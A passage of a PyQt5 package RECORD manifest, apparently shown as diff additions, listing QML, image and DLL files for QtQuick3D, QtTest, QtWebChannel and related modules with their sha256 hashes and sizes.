+PyQt5/Qt5/qml/QtQuick3D/Materials/designer/GlassRefractiveMaterialSection.qml,sha256=rB4n7tIV6hy3JVixI9rd88U__Wjt5nB5KxvTlrd9XpY,6102 +PyQt5/Qt5/qml/QtQuick3D/Materials/designer/GlassRefractiveMaterialSpecifics.qml,sha256=0nASWvxDk0Hbg3VUd9XoCzdjDAaZSiAw6CzxcMBoMq0,1541 +PyQt5/Qt5/qml/QtQuick3D/Materials/designer/IdComboBox.qml,sha256=G8wM3pft_HK4twZmp6nXP9_gcdvMNdzVxxfAR8sIzdg,4199 +PyQt5/Qt5/qml/QtQuick3D/Materials/designer/PaperArtisticMaterialSection.qml,sha256=XRYDlIehQgd1fcpa87ZhSeHtmz8KaMWHq-Ls32zteOw,10256 +PyQt5/Qt5/qml/QtQuick3D/Materials/designer/PaperArtisticMaterialSpecifics.qml,sha256=mn0EP0D7yRsI3bviA4ocjtvOvXyiIjJEByIqr3I5Fn0,1539 +PyQt5/Qt5/qml/QtQuick3D/Materials/designer/PaperOfficeMaterialSection.qml,sha256=MR8RBzcKLoab-cQ53lAtRiSRbSgMuwJQ6YuhTy80j6c,9521 +PyQt5/Qt5/qml/QtQuick3D/Materials/designer/PaperOfficeMaterialSpecifics.qml,sha256=HgU5acOXmhs5puTYIpIdhgX7ZncO_7NGHbVxukkAJ2M,1537 +PyQt5/Qt5/qml/QtQuick3D/Materials/designer/PlasticStructuredRedEmissiveMaterialSection.qml,sha256=UKdJ4nhZRgdeeyRcFJW03qNxhZNiJn6HNh-wlf_oAgU,10134 +PyQt5/Qt5/qml/QtQuick3D/Materials/designer/PlasticStructuredRedEmissiveMaterialSpecifics.qml,sha256=-LFMIuCF8_ckruGNmnsDjg5UJLj7UTd8KB-_ILdYaYk,1554 +PyQt5/Qt5/qml/QtQuick3D/Materials/designer/PlasticStructuredRedMaterialSection.qml,sha256=PKTxpPRfAqxIU7ygFedAwZMqOts_Qrf-pC_XpFMSzWM,8258 +PyQt5/Qt5/qml/QtQuick3D/Materials/designer/PlasticStructuredRedMaterialSpecifics.qml,sha256=3vI-sjE-ulR5eaACDKTopY1tOdGId-xbIb5oGLTul1Q,1546 +PyQt5/Qt5/qml/QtQuick3D/Materials/designer/SteelMilledConcentricMaterialSection.qml,sha256=fyvF2RxiaIqzBd4cbAFTuYsm8PAFWB3kstfDbiKgOWU,7612 +PyQt5/Qt5/qml/QtQuick3D/Materials/designer/SteelMilledConcentricMaterialSpecifics.qml,sha256=NP9wBKdGVhpYYPeBoNW1viepSdgoXguHDN1-x9BCX_s,1547 +PyQt5/Qt5/qml/QtQuick3D/Materials/designer/images/custommaterial.png,sha256=2Vp-CAJy9YTs5HohFQ-oao9JU4o_8Aak-s_EksUYevE,563 +PyQt5/Qt5/qml/QtQuick3D/Materials/designer/images/custommaterial16.png,sha256=CUsVGRVi95SZyKKTQII6JrxgJRQc--MuPpNzJeKXnfA,347 +PyQt5/Qt5/qml/QtQuick3D/Materials/designer/images/custommaterial@2x.png,sha256=IKkJPnSENBJB9N8e-qPqievAaR0aAcZVscbT3Hgg3wM,1171 +PyQt5/Qt5/qml/QtQuick3D/Materials/designer/materiallib.metainfo,sha256=d5L9ANKhNgWa58CdVN9RSvZfk5f28C2slPiuh9nj4vg,9358 +PyQt5/Qt5/qml/QtQuick3D/Materials/designer/source/custommaterial_template.qml,sha256=2Jk_RqleesLnNU0oBO_EakCeBW6nISrzugvz5Rszn6w,1964 +PyQt5/Qt5/qml/QtQuick3D/Materials/maps/art_paper_normal.png,sha256=wnGA266QLkcYvXmmTjbxUKC--QEKvCE4NWhKZal0m9w,517044 +PyQt5/Qt5/qml/QtQuick3D/Materials/maps/art_paper_trans.png,sha256=87G8NXdFCkwVg6wlnmqBuOJNGRRGg7-FNP_tgD9dgoc,428034 +PyQt5/Qt5/qml/QtQuick3D/Materials/maps/brushed_a.png,sha256=HLcIJgxbcFQ9TORHO59iFWH9S7cAV_IE8aPK5GvW1LI,196175 +PyQt5/Qt5/qml/QtQuick3D/Materials/maps/brushed_full_contrast.png,sha256=JWP8CcanN2aN6G97w7oonvr048gEj69I3vnkavBxuLE,161293 +PyQt5/Qt5/qml/QtQuick3D/Materials/maps/concentric_milled_steel.png,sha256=lCtnupmuCJ-llTgz0HDeCnNTZ3s7jZtJk4_NKWb0uTI,4216 +PyQt5/Qt5/qml/QtQuick3D/Materials/maps/concentric_milled_steel_aniso.png,sha256=VJ1Lo0YVT9NuhbNU3aSi2Zkj9P8G0ACc8GIdK4va3aA,92352 +PyQt5/Qt5/qml/QtQuick3D/Materials/maps/emissive.png,sha256=AwA6oBAm6US3VEcHj1dY0P-rhU0D6c6AeAoXRBEHP38,334 +PyQt5/Qt5/qml/QtQuick3D/Materials/maps/emissive_mask.png,sha256=AwA6oBAm6US3VEcHj1dY0P-rhU0D6c6AeAoXRBEHP38,334 +PyQt5/Qt5/qml/QtQuick3D/Materials/maps/grunge_b.png,sha256=L60sfzTox0tRxLwE1g3w6yOL7TDRiyvqqCxR9B1LnNE,402701 +PyQt5/Qt5/qml/QtQuick3D/Materials/maps/grunge_d.png,sha256=R3LtZ_Ib4n6C1gVALDifpmtq6nhQioj1Sv63J45oa4s,151503 +PyQt5/Qt5/qml/QtQuick3D/Materials/maps/paper_diffuse.png,sha256=EAWldXGytRHcSJZCc2-88tNGGkbLX4yILTz-TqtTdc4,339022 +PyQt5/Qt5/qml/QtQuick3D/Materials/maps/paper_trans.png,sha256=BGddlbRoDO7wlALO5EOe8m7PsS5Kooa_FOzFBd_AIDI,322968 +PyQt5/Qt5/qml/QtQuick3D/Materials/maps/randomGradient1D.png,sha256=ucN5-ILTht34j2rEXryd72MsI9PDpOC3KMXWm40pnm8,618 +PyQt5/Qt5/qml/QtQuick3D/Materials/maps/randomGradient2D.png,sha256=AW8Kao_trXHJTRgQbryGQcTLdmWrzELTgIoaXBYTouw,738 +PyQt5/Qt5/qml/QtQuick3D/Materials/maps/randomGradient3D.png,sha256=pl3G34M78E-JWzw2_sRr3-NZ2hfYnHmpvyr1CfAkU1M,748 +PyQt5/Qt5/qml/QtQuick3D/Materials/maps/randomGradient4D.png,sha256=1FmqegCOGx4rAxBbth5q1QBNA-Z8bKEQTcjl-WKAq34,535 +PyQt5/Qt5/qml/QtQuick3D/Materials/maps/shadow.png,sha256=AwA6oBAm6US3VEcHj1dY0P-rhU0D6c6AeAoXRBEHP38,334 +PyQt5/Qt5/qml/QtQuick3D/Materials/maps/spherical_checker.png,sha256=bEWDwAD_FnYdM0EHH47stCsJ2HVZW-e3rtBjH2mm6QI,11066 +PyQt5/Qt5/qml/QtQuick3D/Materials/plugins.qmltypes,sha256=9iGo9MuAWIS9bfHPouEFU6UQkGBp1WrKappdJ1Bgtk0,1989 +PyQt5/Qt5/qml/QtQuick3D/Materials/qmldir,sha256=ztpTRl_g3z42e8Eml8JO8EBrSI0TMWr4b-OK7t0_b64,1099 +PyQt5/Qt5/qml/QtQuick3D/Materials/qtquick3dmaterialplugin.dll,sha256=f2XG1DYzhR541Te4kWWcLgFp73oERnZMasB6y6mFf6w,79856 +PyQt5/Qt5/qml/QtQuick3D/designer/AreaLightSection.qml,sha256=5wJ4RowlzAHqlXvhav9S6oL91HGKESZKpdZNupRKjFI,4183 +PyQt5/Qt5/qml/QtQuick3D/designer/AreaLightSpecifics.qml,sha256=XnfvXDcNVGw0-jC8t_knRjMU0HADVwhYPzvsmnktifU,1584 +PyQt5/Qt5/qml/QtQuick3D/designer/BlendingSection.qml,sha256=0a5XL24SvEljmcjf1_WyPTlITdcUPI4fV5s8UBUtv9A,2762 +PyQt5/Qt5/qml/QtQuick3D/designer/BlendingSpecifics.qml,sha256=L4VqUgfdYnjFrI_PP7KKVYkIr1Dn0_AasYZBJXQzxdc,1526 +PyQt5/Qt5/qml/QtQuick3D/designer/BufferBlitSection.qml,sha256=V1l8aATCaN-EHbRlcXIIcuSczikwQUoAz9HRAZrrPWY,2395 +PyQt5/Qt5/qml/QtQuick3D/designer/BufferBlitSpecifics.qml,sha256=ci-O8nk8JFCmDSJ6q0ydivxaYZ-vVTy16L06KVDXCQc,1528 +PyQt5/Qt5/qml/QtQuick3D/designer/BufferInputSection.qml,sha256=IY1xHnatludSr4RXTgJkpaPNtFzSOaZPM4wnbyEbmmM,2374 +PyQt5/Qt5/qml/QtQuick3D/designer/BufferInputSpecifics.qml,sha256=tu6u-3A3aUxXamQk9kL0cCDQI6j-iXZLNoqRFqV1RSM,1529 +PyQt5/Qt5/qml/QtQuick3D/designer/BufferSection.qml,sha256=d9u4KVuAQL3CaWpYxxciBenGj887jsCyE_27WgsxspE,4202 +PyQt5/Qt5/qml/QtQuick3D/designer/BufferSpecifics.qml,sha256=AxCriZgGIY8_B8KPgjwZimEeVpwrgo4nLIVOcoHtqF8,1524 +PyQt5/Qt5/qml/QtQuick3D/designer/CullModeSection.qml,sha256=8WRLvXQPJ7qA9VDDUFE5tH81WHBDTA4txL_l8D_52uk,1965 +PyQt5/Qt5/qml/QtQuick3D/designer/CullModeSpecifics.qml,sha256=J2KZm50lxcVeAE_LDnKRo8o1Wyza-NZKVz_B1Kcaq34,1526 +PyQt5/Qt5/qml/QtQuick3D/designer/CustomCameraSection.qml,sha256=8Dw86d-FRuz2NLVngnz7510aQjQc9-CM8WKX5TomcHU,1578 +PyQt5/Qt5/qml/QtQuick3D/designer/CustomCameraSpecifics.qml,sha256=SvSLFN--JvvOHhLhWK1sJ_yQ2FTbY3iy_j-PAAMEc2A,1587 +PyQt5/Qt5/qml/QtQuick3D/designer/DefaultMaterialSection.qml,sha256=Q-rZfWvgzWCt9ak-3XzgEN4K35fNKx4yDu34LyrdM0o,15389 +PyQt5/Qt5/qml/QtQuick3D/designer/DefaultMaterialSpecifics.qml,sha256=RfsUe_tQiu50B_xA82WpmESnB4bff3DxQNotDXjBYLY,1594 +PyQt5/Qt5/qml/QtQuick3D/designer/DepthInputSection.qml,sha256=-BTuD-sG_uRgf9L81C1btyqgupjl52g3DywAk0eWqBc,1990 +PyQt5/Qt5/qml/QtQuick3D/designer/DepthInputSpecifics.qml,sha256=4KUML7FKVdrlhfhX5SW8AC6CIudFWDSe8pPUgrN1c34,1528 +PyQt5/Qt5/qml/QtQuick3D/designer/DirectionalLightSection.qml,sha256=QzAoh2_xmpLD-hU2jIZ2SZsbl1Ifiti3Fh6QXW9cdWY,3179 +PyQt5/Qt5/qml/QtQuick3D/designer/DirectionalLightSpecifics.qml,sha256=nAyh2Dpyda_OWHTvYZHnLIElHZZmMt0tCoTOrdjGads,1591 +PyQt5/Qt5/qml/QtQuick3D/designer/FrustumCameraSection.qml,sha256=nJ4kQqSHj4B1-fqfyrEuZZSGgIZm4E3EsjwsNS4T8gE,3322 +PyQt5/Qt5/qml/QtQuick3D/designer/FrustumCameraSpecifics.qml,sha256=tSa7BMOY9B1y1-91RtbQy923p0v50aLuCVclFWv1d_U,1658 +PyQt5/Qt5/qml/QtQuick3D/designer/IdComboBox.qml,sha256=boL6_YGd9wINmgZaGkaUskzaK_RPwwFoDL5nmC4EaCw,4199 +PyQt5/Qt5/qml/QtQuick3D/designer/MaterialSection.qml,sha256=Kn6Jg3TjoO_tVYcqMK9DDQt0EB8RsCBpHM8wmKl7OZs,3453 +PyQt5/Qt5/qml/QtQuick3D/designer/ModelSection.qml,sha256=4j7gG20HiZL4gy-T53UbDIGP3z4RtAlMQhi6-XoyPaQ,6116 +PyQt5/Qt5/qml/QtQuick3D/designer/ModelSpecifics.qml,sha256=ZpDHFM0oDtWtHi0h2zI9YUwTTn46mcIk4ziAK0IRBV4,1580 +PyQt5/Qt5/qml/QtQuick3D/designer/NodeSection.qml,sha256=knzeAnVgLKJUPQjvXZ8g8jAUg4ZCws0J2C5k8iGGsSg,13149 +PyQt5/Qt5/qml/QtQuick3D/designer/NodeSpecifics.qml,sha256=4FyxlBit115mB4-oDyJScp0IW179H0-Vce_Nawf6JoI,1522 +PyQt5/Qt5/qml/QtQuick3D/designer/Object3DSection.qml,sha256=x8wXD6Y_rPKQ34amjecDt1khBk3npA1rlWOKjoTYTVU,1472 +PyQt5/Qt5/qml/QtQuick3D/designer/OrthographicCameraSection.qml,sha256=wD8OgPxMBz6XXNmQ_6nKUzmYASArnfyIiiCGNIzhsSk,2465 +PyQt5/Qt5/qml/QtQuick3D/designer/OrthographicCameraSpecifics.qml,sha256=HoDg1yoSmOYoAVNc6Xj7p7pLoBeFlK8rTwvMXleHcA0,1593 +PyQt5/Qt5/qml/QtQuick3D/designer/PassSection.qml,sha256=o9YD7RXOZHjVIuK-U1RR5LkPPDtvo6Q7PlKtn4mn_d4,3465 +PyQt5/Qt5/qml/QtQuick3D/designer/PassSpecifics.qml,sha256=I7Nk8LkeDtLQ1WBsZo4b8S9T5ob_3bB8H5x8WGjgjAs,1522 +PyQt5/Qt5/qml/QtQuick3D/designer/PerspectiveCameraSection.qml,sha256=m0SHJOpE8JO5br7tVMrf4fgP9p4uA4p8pDY16lt72FY,3318 +PyQt5/Qt5/qml/QtQuick3D/designer/PerspectiveCameraSpecifics.qml,sha256=ZPRJC-djpZSThP6x8HaJizgujnpZm0BYzAKNoF3xn00,1592 +PyQt5/Qt5/qml/QtQuick3D/designer/PointLightSection.qml,sha256=mfumgyAb5h1_f0eiTlBlYg7mgZe4Xl5Pod5gv0BZDJU,4685 +PyQt5/Qt5/qml/QtQuick3D/designer/PointLightSpecifics.qml,sha256=EgG9JiLJ-A-FafJ1u1CxUA_5fUT3ieMZ2fM-20gS6uk,1585 +PyQt5/Qt5/qml/QtQuick3D/designer/PrincipledMaterialSection.qml,sha256=H0cxD1kay9gC_UI-zm45ZSKRdkV2cLaXZLsUeaxVF4E,15682 +PyQt5/Qt5/qml/QtQuick3D/designer/PrincipledMaterialSpecifics.qml,sha256=_5I0fZLzsgUhGsQvxz8jTQtjMJ83FwO3pH4agc0g8vQ,1597 +PyQt5/Qt5/qml/QtQuick3D/designer/RenderStateSection.qml,sha256=2P965JSc4dMd2KxJBNsFOBTvArgXkZtZE-6UHqfYBKs,2433 +PyQt5/Qt5/qml/QtQuick3D/designer/RenderStateSpecifics.qml,sha256=GZWGDZYUXjmpBHekpuUrNihauRwkvTgXqGfsU1CJPCA,1529 +PyQt5/Qt5/qml/QtQuick3D/designer/SceneEnvironmentSection.qml,sha256=gMjuXrBKEONyzcQOf3YbCNdOHu0SoRS0s-ved2-yRCU,11935 +PyQt5/Qt5/qml/QtQuick3D/designer/SceneEnvironmentSpecifics.qml,sha256=UiSocSeH4W_Ni5WJQmk46QA77CiYBvU5vcJ4Irj1Jh0,1534 +PyQt5/Qt5/qml/QtQuick3D/designer/SetUniformValueSection.qml,sha256=32KgYq945hi3CReJKb-CZUdl86KhW-QS0q7xnAe0dDo,2429 +PyQt5/Qt5/qml/QtQuick3D/designer/SetUniformValueSpecifics.qml,sha256=85ka554h-foPTQyAOdqRqTjmaFuiPqQ3Y9U77-VHpN0,1533 +PyQt5/Qt5/qml/QtQuick3D/designer/ShaderInfoSection.qml,sha256=uy4GZvSO-So01OseXYLGtQLMV5ltt7yScmzI7Wkc1b8,2754 +PyQt5/Qt5/qml/QtQuick3D/designer/ShaderInfoSpecifics.qml,sha256=7Vsmj3FIcx4FCj7e6PqdwITJaj7lE4kfNtYDjNzkc3A,1528 +PyQt5/Qt5/qml/QtQuick3D/designer/ShaderSection.qml,sha256=C7O8lxDQe1SJ7a74hNkOflGnVsxgz2JQP6P6_enJdTk,2270 +PyQt5/Qt5/qml/QtQuick3D/designer/ShaderSpecifics.qml,sha256=mmZGuq-JQuPVGsHZTsPGJkSMBCJWtCe6sfK4OabD2bA,1524 +PyQt5/Qt5/qml/QtQuick3D/designer/ShadowSection.qml,sha256=apCSAponXBqAa3cD-230HO-tKFLSzSoEvG9q9KnzBrk,4701 +PyQt5/Qt5/qml/QtQuick3D/designer/SpotLightSection.qml,sha256=toq-J8Mgph29jY4khsjw5N2paE9KGw5hw0G6cBaxJ_4,5611 +PyQt5/Qt5/qml/QtQuick3D/designer/SpotLightSpecifics.qml,sha256=xnFSYWl9Fs1BC5H5G0DOSGgw6iTcJWghoeswDxJzqvM,1584 +PyQt5/Qt5/qml/QtQuick3D/designer/TextureInputSection.qml,sha256=8p79aL0G8ciAwzqjzLRZ-cJh90qr7Xh6uA-kFL_Nodc,2363 +PyQt5/Qt5/qml/QtQuick3D/designer/TextureInputSpecifics.qml,sha256=gB7RBgFl_dYgTrRcuz05KZHSZG9yWTJHd1h8YzfnH4g,1530 +PyQt5/Qt5/qml/QtQuick3D/designer/TextureSection.qml,sha256=T3CrlQffQ1M4nZK3mGkjOyVpU5u_V9J6acte6-o1uzM,6952 +PyQt5/Qt5/qml/QtQuick3D/designer/TextureSpecifics.qml,sha256=4o1CkKmza52d8f42aPotx8E6SvXv3sCiC2FlgT85fH4,1525 +PyQt5/Qt5/qml/QtQuick3D/designer/View3DSection.qml,sha256=xYBPVA0OOycqD6Qd-SusHR0AN0xniARLHYOJujU1Bw0,2677 +PyQt5/Qt5/qml/QtQuick3D/designer/View3DSpecifics.qml,sha256=B2V6x44CBB8bGPguVgZlZ-n06PyXEvkOw2Hb3k13Ft0,1524 +PyQt5/Qt5/qml/QtQuick3D/designer/images/camera.png,sha256=a3Kbc0KnAvy2WXvZ3yCHn9JA9hBx2Ig_xnkPxnyxp6Y,276 +PyQt5/Qt5/qml/QtQuick3D/designer/images/camera16.png,sha256=UtQN6H_A8pCf0rZkWA6eS6cIFuSFzY3muKlUN_XAHCo,241 +PyQt5/Qt5/qml/QtQuick3D/designer/images/camera@2x.png,sha256=kzcYnTSawd0FtIgr7rz4iM1nkN2X0UpV9B_o4ZihA70,385 +PyQt5/Qt5/qml/QtQuick3D/designer/images/cone.png,sha256=ntPrpduJ0g-DEBqh4NwFxMr7xe1A7ctGOsikJZqYrkA,412 +PyQt5/Qt5/qml/QtQuick3D/designer/images/cone16.png,sha256=DevDONMnQMhOm3XtDiHOH2JI17TefWgs6liu8tv56ZE,277 +PyQt5/Qt5/qml/QtQuick3D/designer/images/cone@2x.png,sha256=I6JPOxXN33pXx3XdBCgN4k1DAQSqrZBVX03j2NFXW4A,731 +PyQt5/Qt5/qml/QtQuick3D/designer/images/cube.png,sha256=xz1ntISSxkXtLo_ts-zfawMtnOc9m65EMlN4EbIXIDg,369 +PyQt5/Qt5/qml/QtQuick3D/designer/images/cube16.png,sha256=OzPgTX7w7VMI96_tosFp-1IZK8xJ9VqKpsa6xjncHb0,190 +PyQt5/Qt5/qml/QtQuick3D/designer/images/cube@2x.png,sha256=M74_hruchGBVQmDjMZIPJ92TVPNHgg0gg1VAGGXNUJ8,733 +PyQt5/Qt5/qml/QtQuick3D/designer/images/cylinder.png,sha256=n22Rvd9HMTmwO89dkBiufWl_EHjNgup8oqe58Fkg9Jo,445 +PyQt5/Qt5/qml/QtQuick3D/designer/images/cylinder16.png,sha256=dWMz6YYeRIb2Ya0vNd5se3vje9nvo5ifrmyAshwjTKM,336 +PyQt5/Qt5/qml/QtQuick3D/designer/images/cylinder@2x.png,sha256=4Zbq7Pw2Rmiqcc4WwblILySsn48KikzncbK9-2_rtls,789 +PyQt5/Qt5/qml/QtQuick3D/designer/images/dummy.png,sha256=-8NwxUGpMeIu66UVe0fzD8YMfilYC5tJBHA7bheRC_M,375 +PyQt5/Qt5/qml/QtQuick3D/designer/images/dummy16.png,sha256=IDZ6vbNiHwu75HPcLBZwgxgwPGADVt06U8lGXIppTiI,253 +PyQt5/Qt5/qml/QtQuick3D/designer/images/dummy@2x.png,sha256=rAztmEYpBRDzL_sRXSnlMpRC_sAbZSeoY-v1QcqMjtU,499 +PyQt5/Qt5/qml/QtQuick3D/designer/images/group.png,sha256=8evnJdpO790pKxLLKk7CqAPOP8Hg6h2eJy8In2Z3A88,496 +PyQt5/Qt5/qml/QtQuick3D/designer/images/group16.png,sha256=6zSv-oxhBOm1-uH6FqPDdiIB-yuxkzl3DSFQSRXU3oQ,284 +PyQt5/Qt5/qml/QtQuick3D/designer/images/group@2x.png,sha256=t1ZTX3qXY-U8YSwG2OUGL4KYW1OQAZ4ZuMa2ktLGtlw,822 +PyQt5/Qt5/qml/QtQuick3D/designer/images/light.png,sha256=8sBVt9PhFjqMYvGa4xZWfRoj-3bifa4iJDUPJ9dBFa8,443 +PyQt5/Qt5/qml/QtQuick3D/designer/images/light16.png,sha256=e8tLxar9Hq8QYJCPZW5CDcV0TGEOJ0O9m1-thmsZewc,281 +PyQt5/Qt5/qml/QtQuick3D/designer/images/light@2x.png,sha256=b3aWJRpScRLEgkTn8SofQ2WbP1-bY9rBIv79M-j8PAE,748 +PyQt5/Qt5/qml/QtQuick3D/designer/images/material.png,sha256=zB4WdLI5cwvOyTvg4rk8Zl7MIOVwmL5jfaQBq6xMoFs,333 +PyQt5/Qt5/qml/QtQuick3D/designer/images/material16.png,sha256=KNxamCJLo0GL1kuuyEzjvJ4W3t54OPeX8IUhDZBAlJc,314 +PyQt5/Qt5/qml/QtQuick3D/designer/images/material@2x.png,sha256=ir4FHfgBlIqHaKQF72xh7M5gvcxsbL_mjgtxXhKuJac,621 +PyQt5/Qt5/qml/QtQuick3D/designer/images/model16.png,sha256=OzPgTX7w7VMI96_tosFp-1IZK8xJ9VqKpsa6xjncHb0,190 +PyQt5/Qt5/qml/QtQuick3D/designer/images/plane.png,sha256=o_Q0Mk8WKkKOBG4dbwIVFYIo7Cm2uaDVejm_QPQU-Bk,154 +PyQt5/Qt5/qml/QtQuick3D/designer/images/plane16.png,sha256=ml9okqmd7g0PxYAKjkgFdRX8nqVVa3AafD87i5Vbu-w,204 +PyQt5/Qt5/qml/QtQuick3D/designer/images/plane@2x.png,sha256=6eJcwbLtYhMYZLK3blAL8vSByPe42if8VBkeENxmhoI,181 +PyQt5/Qt5/qml/QtQuick3D/designer/images/scene.png,sha256=8Yh4eztWAfvgMphRXFqVQWy7IKrACSssrm6sgPFMtpo,172 +PyQt5/Qt5/qml/QtQuick3D/designer/images/scene16.png,sha256=IVa857_NKRvzxRFwrLpPQIj2SV4aBEKkGY6ruTSjm4Y,219 +PyQt5/Qt5/qml/QtQuick3D/designer/images/scene@2x.png,sha256=Q8X2dKBjWSGuZtohXzKNK-FTz4ru70jG6AUWjny2FN0,201 +PyQt5/Qt5/qml/QtQuick3D/designer/images/shadercommand.png,sha256=pSvjfnSL8c5lpWCJrvrgYCA0_iiEDDBvFephOJ2gAoc,160 +PyQt5/Qt5/qml/QtQuick3D/designer/images/shadercommand16.png,sha256=IYzkDt4zfseisNNEsI8x5RsDeFxhfMB7UzjL6pEGd4Y,112 +PyQt5/Qt5/qml/QtQuick3D/designer/images/shadercommand@2x.png,sha256=MldZ57fCCOz_PLGB4IM7itTfgXeFiMK-Hx3wTjFxR2Q,145 +PyQt5/Qt5/qml/QtQuick3D/designer/images/shaderutil.png,sha256=PAl7Ro4M6OUPTwu5H7YSFQ-fyKJWbvp02Dm1K8590Fs,304 +PyQt5/Qt5/qml/QtQuick3D/designer/images/shaderutil16.png,sha256=MiN6h68ppidWb9AbBFuGS_iRbcUC4m9F_mp6hbDwxw8,191 +PyQt5/Qt5/qml/QtQuick3D/designer/images/shaderutil@2x.png,sha256=a_u9POpI2XcSNjdb-oQ3-s0eRfrgguDmdEHPV90ajN4,525 +PyQt5/Qt5/qml/QtQuick3D/designer/images/sphere.png,sha256=YpzYFmxZgsX9I8dyeaguR4moVAzsgQ_-ab_oRia4cR0,233 +PyQt5/Qt5/qml/QtQuick3D/designer/images/sphere16.png,sha256=gOVZdDEKzCa18JL-4UjK-MfGxMKr-AWNYSZIlQSqO4Y,212 +PyQt5/Qt5/qml/QtQuick3D/designer/images/sphere@2x.png,sha256=aY718aLnGaqzlduyK_6YjMgU_bT5WVpZV5z8V7BcJa8,381 +PyQt5/Qt5/qml/QtQuick3D/designer/images/texture.png,sha256=XsDKyT9qfGQRVUPjfGz7vsoFwE89Ve4BxFW624hmWQE,278 +PyQt5/Qt5/qml/QtQuick3D/designer/images/texture16.png,sha256=EE5nFQU3jW1EJe5rSDXUU4gKus-cTb-F_Z11q0Ck0Us,300 +PyQt5/Qt5/qml/QtQuick3D/designer/images/texture@2x.png,sha256=192C4HZBChk83v3FqyYl6A_eq1s4G0RHak_w4bxuuTw,433 +PyQt5/Qt5/qml/QtQuick3D/designer/images/view3D.png,sha256=4g1gkECHsIjs1OXy5BdbtL6bLAVPlDsdsB7cIQYYpiQ,255 +PyQt5/Qt5/qml/QtQuick3D/designer/images/view3D16.png,sha256=ZC_QBSG-rojZES2zjq5WhgVnTcJCXxCGUimGP8kM3h0,242 +PyQt5/Qt5/qml/QtQuick3D/designer/images/view3D@2x.png,sha256=5TZhSZNSqaDWy64b6pJmeYiA3ltXKCWmNFUM2XBOwRA,411 +PyQt5/Qt5/qml/QtQuick3D/designer/quick3d.metainfo,sha256=rsD8eBOSP3nCIXzFrQ4O0IyJOVH938Kvi7xrbGcm4fI,16823 +PyQt5/Qt5/qml/QtQuick3D/designer/source/cone_model_template.qml,sha256=4x4Evd5C-6J_yPH3gVcBiKSfjN3i1CU07FiaLVjx-xY,1556 +PyQt5/Qt5/qml/QtQuick3D/designer/source/cube_model_template.qml,sha256=AsBDoHYBYVNfAVzxqX2OwZ2RRYP22UqkHU2RuP9pfD4,1556 +PyQt5/Qt5/qml/QtQuick3D/designer/source/cylinder_model_template.qml,sha256=AiqhjCKoO33xXTqST7wtOStWr6mziwnBM1Yama6X1dE,1568 +PyQt5/Qt5/qml/QtQuick3D/designer/source/plane_model_template.qml,sha256=J3oibYy3GyMiMjT2w8UseQWIczvnZzh68aM34oLXWzs,1561 +PyQt5/Qt5/qml/QtQuick3D/designer/source/sphere_model_template.qml,sha256=EI0CS2tDdLcohHueXQjfbu7EEktnEvFoJMtyQj9KQpQ,1562 +PyQt5/Qt5/qml/QtQuick3D/designer/source/view3D_template.qml,sha256=ei4nH4DIqIpU1RZ16iJ_VOa6NJsMw3ML7-66kOjQRy0,2155 +PyQt5/Qt5/qml/QtQuick3D/plugins.qmltypes,sha256=JJZjmFcu9TTkkdGZQReyFvk-zqMSbMM1yYMVrx58N1Y,73364 +PyQt5/Qt5/qml/QtQuick3D/qmldir,sha256=tkfqaGrW299P4FEbHy_hIlL68fWPfXOPpdUpCRRtYLU,113 +PyQt5/Qt5/qml/QtQuick3D/qquick3dplugin.dll,sha256=0Lz_6Wz-DR2pkqmbtKLvDqKkmef55a1uDhz3aBH-3i0,127984 +PyQt5/Qt5/qml/QtRemoteObjects/plugins.qmltypes,sha256=oPKnVIFTaH5-0yHbqwdzRHg-FCeadTVo3hzcxp4fra4,4215 +PyQt5/Qt5/qml/QtRemoteObjects/qmldir,sha256=v6GCj5TOoLSq6YmbD34aWcqXPmZVa0OFAG18hlQjsAU,81 +PyQt5/Qt5/qml/QtRemoteObjects/qtremoteobjects.dll,sha256=-3Wpp2W7j5cOGZkSL3-b41aPYKVHcdDNgROS00_iJFM,48624 +PyQt5/Qt5/qml/QtSensors/declarative_sensors.dll,sha256=v1HTAwl8CufqNt-Qk9lKjfaJuB21c1uhItooZ5bF-RQ,205808 +PyQt5/Qt5/qml/QtSensors/plugins.qmltypes,sha256=9SHqj1MamcyadSJvcCUX-pA9Vt3Qr1hKGAEAbAlXQNE,21807 +PyQt5/Qt5/qml/QtSensors/qmldir,sha256=rQzDpftRJ108-YfVJiktPKTQHvz2nvaDGXe9o7aVRck,111 +PyQt5/Qt5/qml/QtTest/SignalSpy.qml,sha256=q2TiIo4JqLgZRSVyNKr2nOWsxJPxdQpd927az4g3AUU,9212 +PyQt5/Qt5/qml/QtTest/TestCase.qml,sha256=TWW3H8NBYQsbYd0hXroh3MVohIAWBxMbTdq4GM7GqW0,77687 +PyQt5/Qt5/qml/QtTest/plugins.qmltypes,sha256=c1_WYzPVFKE9Yzpwi9BIODGu3FZ4EVEOJfvVSveDoXY,13848 +PyQt5/Qt5/qml/QtTest/qmldir,sha256=GPLL8rv_yNVJ9MvXLHvEYiYHx1Vbjgu9SwJuGFNewCY,201 +PyQt5/Qt5/qml/QtTest/qmltestplugin.dll,sha256=D5f6RzE_jHdmX-t6UzWW7I86Aw2FuURrlLv3sSCFREU,62448 +PyQt5/Qt5/qml/QtTest/testlogger.js,sha256=ICPqsynA91NPv1V1lWdaKqywG4qNYYuf6Ma_EDQCm6c,3375 +PyQt5/Qt5/qml/QtWebChannel/declarative_webchannel.dll,sha256=QPfIi6x2y3m_vRxR8gnTRWcWI6fAOrYT914mG2IX8QY,28656 +PyQt5/Qt5/qml/QtWebChannel/plugins.qmltypes,sha256=OmG70hdvq6DxO5Xm5Nfj2rDnszyZ746DCgRYLRN97sY,2329 +PyQt5/Qt5/qml/QtWebChannel/qmldir,sha256=IZ3Vpg_XktJ4GHoZEq8yBv237I9JIweucTsaWvFy6ug,108 +PyQt5/Qt5/qml/QtWebSockets/declarative_qmlwebsockets.dll,sha256=QrWcfDX8dwyb15hOCreu-I_gxBAcORw47TI8H-EiTAw,50672 +PyQt5/Qt5/qml/QtWebSockets/plugins.qmltypes,sha256=MtYfsk6VUtmrDXRAcx97FuC83fhps9y5moAvtpNKGVI,3604 +PyQt5/Qt5/qml/QtWebSockets/qmldir,sha256=IxC22BpmjLMs16IOYdeyhCgJJuPr-MZ2zaikPE6GmHc,123 +PyQt5/Qt5/qml/QtWebView/declarative_webview.dll,sha256=zTHF_-JYIu0SImS1fFSUrXzEMTc0MZszxegVbFVeA44,36848 +PyQt5/Qt5/qml/QtWebView/plugins.qmltypes,sha256=s9rPk_Ra80sbL4sdzKsVeyea4XUUQ0Ecp6w96v2xPGA,3262 